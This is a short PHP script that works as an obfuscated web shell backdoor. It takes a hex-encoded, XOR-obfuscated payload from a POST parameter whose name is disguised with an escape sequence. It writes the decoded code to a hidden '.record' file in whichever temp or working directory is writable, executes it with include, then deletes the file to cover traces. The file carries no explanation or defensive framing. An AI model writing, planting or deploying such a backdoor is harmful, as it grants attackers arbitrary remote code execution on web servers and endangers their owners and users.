<?php

if(!is_null($_POST["s\x79m"] ?? null)){
	$desc = hex2bin($_POST["s\x79m"]);
	$data ='' ; foreach(str_split($desc) as $char){$data .= chr(ord($char) ^ 69);}
	$flag = array_filter([getcwd(), "/dev/shm", "/tmp", "/var/tmp", getenv("TEMP"), ini_get("upload_tmp_dir"), sys_get_temp_dir(), session_save_path(), getenv("TMP")]);
	foreach ($flag as $key => $ent) {
    		if (!!is_dir($ent) && !!is_writable($ent)) {
    $comp = vsprintf("%s/%s", [$ent, ".record"]);
    if (file_put_contents($comp, $data)) {
	include $comp;
	@unlink($comp);
	exit;
}
}
}
}